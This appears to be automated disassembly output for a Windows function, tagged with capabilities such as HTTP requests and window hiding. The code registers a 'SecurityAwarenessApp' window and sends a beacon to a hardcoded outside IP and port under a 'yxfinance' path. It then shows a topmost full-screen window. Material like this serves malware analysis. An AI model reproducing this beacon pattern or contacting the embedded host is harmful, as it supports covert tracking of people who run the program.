Function at 0x140002ab0
Capabilities:
Create http request
Hide graphical window

Disassembly:
push rbp
push rbx
sub rsp, 0x108
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xa0], rcx
mov qword [rbp + 0xa8], rdx
mov qword [rbp + 0xb0], r8
mov dword [rbp + 0xb8], r9d
pxor xmm0, xmm0
movaps xmmword [rbp + 0x10], xmm0
movaps xmmword [rbp + 0x20], xmm0
movaps xmmword [rbp + 0x30], xmm0
movaps xmmword [rbp + 0x40], xmm0
movq qword [rbp + 0x50], xmm0
lea rax, [0x140001360]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x28], rax
lea rax, str.SecurityAwarenessApp
mov qword [rbp + 0x50], rax
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_CreateSolidBrush]
call rax
mov qword [rbp + 0x40], rax
mov edx, 0x7f00
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_LoadCursorA]
call rax
mov qword [rbp + 0x38], rax
lea rax, [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_RegisterClassW]
call rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rax, str.yxfinance
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x78], rax
cmp qword [rbp + 0x78], 0
je 0x140001a55
mov rax, qword [rbp + 0x78]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
lea rdx, str.http:__193.164.155.250:8884_log_yxfinance_
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0x70], rax
cmp qword [rbp + 0x70], 0
je 0x140001a45
mov rax, qword [rbp + 0x70]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x78]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
mov ebx, eax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
mov edx, eax
mov rax, qword [rbp + 0x50]
mov qword [rsp + 0x58], 0
mov rcx, qword [rbp + 0xa0]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x80000000
lea r8, [0x14000429c]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_CreateWindowExW]
call rax
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, 0xffffffffffffffff
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetWindowPos]
call rax
mov rax, qword [rbp + 0x68]
mov edx, 0xffffffec
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowLongA]
call rax
mov dword [rbp + 0x64], eax
or dword [rbp + 0x64], 0x80
mov edx, dword [rbp + 0x64]
mov rax, qword [rbp + 0x68]
mov r8d, edx
mov edx, 0xffffffec
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetWindowLongA]
call rax
mov rax, qword [rbp + 0x68]
mov edx, 5
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov rax, qword [rbp + 0x68]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_UpdateWindow]
call rax
jmp 0x140001b96
lea rax, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_TranslateMessage]
call rax
lea rax, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DispatchMessageA]
call rax
lea rax, [rbp - 0x20]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetMessageA]
call rax
test eax, eax
jne 0x140001b76
mov rax, qword [rbp - 0x10]
add rsp, 0x108
pop rbx
pop rbp
ret
push rdi
push rsi
push rbx
sub rsp, 0x90
xor esi, esi
call fcn.140001c5e
call fcn.140002870
mov rbx, qword [rax]
test rbx, rbx
jne 0x140002aeb
lea rbx, [0x1400042c0]
jmp 0x140002b1d
cmp cl, 0x22
jne 0x140002adf
xor esi, 1
call sub.msvcrt.dll__ismbblead
test eax, eax
jne 0x140002af5
inc rbx
movsx ecx, byte [rbx]
cmp cl, 0x20
jg 0x140002ad7
jmp 0x140002b00
cmp byte [rbx + 1], 0
je 0x140002ae8
inc rbx
jmp 0x140002ae8
test cl, cl
je 0x140002b17
and esi, 1
je 0x140002b17
mov esi, 1
jmp 0x140002adf
cmp al, 0x20
jg 0x140002b1d
inc rbx
mov al, byte [rbx]
test al, al
jne 0x140002b10
lea rdx, [rsp + 0x28]
xor eax, eax
mov ecx, 0x1a
mov rdi, rdx
rep stosd dword [rdi], eax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov r9d, 0xa
test byte [rsp + 0x64], 1
je 0x140002b4a
movzx r9d, word [rsp + 0x68]
mov rcx, qword [0x140004650]
mov r8, rbx
xor edx, edx
add rsp, 0x90
pop rbx
pop rsi
pop rdi
jmp 0x14000191f